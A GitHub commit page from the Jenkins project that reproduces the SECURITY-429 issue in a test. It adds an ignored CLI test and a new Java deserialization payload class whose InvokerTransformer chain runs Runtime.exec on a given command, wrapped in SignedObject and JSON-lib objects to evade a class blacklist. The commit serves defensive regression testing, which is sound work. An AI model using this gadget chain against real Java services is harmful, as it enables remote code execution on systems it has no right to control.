Skip to content

Commit

Permalink
[SECURITY-429] Reproduced in test.
Browse files Browse the repository at this point in the history
  • Loading branch information
jglick committed Apr 13, 2017
1 parent 660058c commit f237601
Show file tree
Hide file tree
Showing 3 changed files with 167 additions and 0 deletions.
8 changes: 8 additions & 0 deletions test/src/test/java/jenkins/security/Security218CliTest.java
Original file line number Diff line number Diff line change
Expand Up @@ -170,6 +170,14 @@ public void ldap() throws Exception {
probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED);
}

@Ignore("TODO fails unless ^java[.]security[.]SignedObject is blacklisted")
@PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
@Test
@Issue("SECURITY-429")
public void jsonLibSignedObject() throws Exception {
probe(Payload.JsonLibSignedObject, PayloadCaller.EXIT_CODE_REJECTED);
}

private void probe(Payload payload, int expectedResultCode) throws Exception {
File file = File.createTempFile("security-218", payload + "-payload");
File moved = new File(file.getAbsolutePath() + "-moved");
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,7 @@ public enum Payload {
Spring1(Spring1.class),
Spring2(Spring2.class),
Ldap(Ldap.class),
JsonLibSignedObject(JsonLibSignedObject.class),
;

private final Class<? extends ObjectPayload> payloadClass;
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,158 @@
package jenkins.security.security218.ysoserial.payloads;

import java.io.ObjectStreamException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.concurrent.ConcurrentSkipListSet;
import java.util.concurrent.CopyOnWriteArraySet;
import net.sf.json.JSONArray;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.collection.AbstractCollectionDecorator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.ReferenceMap;
import org.apache.commons.collections.set.ListOrderedSet;

/** @author an independent security researcher reporting to Beyond Security’s SecuriTeam Secure Disclosure program */
public class JsonLibSignedObject implements ObjectPayload<Object> {

@Override
public Object getObject(String cmd) throws Exception {
final String[] execArgs = new String[] { cmd };

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
execArgs), new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array2 = (Object[]) f2.get(innimpl);

Object node = array2[0];
if (node == null) {
node = array2[1];
}

Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField(
"key");
}

keyField.setAccessible(true);
keyField.set(node, entry);

KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
PublicKey publicKey = keyPair.getPublic();

Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject payload = new SignedObject(map, privateKey, signature);
JSONArray array = new JSONArray();

array.add("asdf");

ListOrderedSet set = new ListOrderedSet();
Field f1 = AbstractCollectionDecorator.class
.getDeclaredField("collection");
f1.setAccessible(true);
f1.set(set, array);

DummyComperator comp = new DummyComperator();
ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp);
csls.add(payload);

CopyOnWriteArraySet a1 = new CopyOnWriteArraySet();
CopyOnWriteArraySet a2 = new CopyOnWriteArraySet();

a1.add(set);
Container c = new Container(csls);
a1.add(c);

a2.add(csls);
a2.add(set);

ReferenceMap flat3map = new ReferenceMap();
flat3map.put(new Container(a1), "asdf");
flat3map.put(new Container(a2), "asdf");

return flat3map;
}

static class Container implements Serializable {

private Object o;

public Container(Object o) {
this.o = o;
}

private Object writeReplace() throws ObjectStreamException {
return o;
}

}

static class DummyComperator implements Comparator, Serializable {

public int compare(Object arg0, Object arg1) {
// TODO Auto-generated method stub
return 0;
}

private Object writeReplace() throws ObjectStreamException {
return null;
}

}

}

0 comments on commit f237601

Please sign in to comment.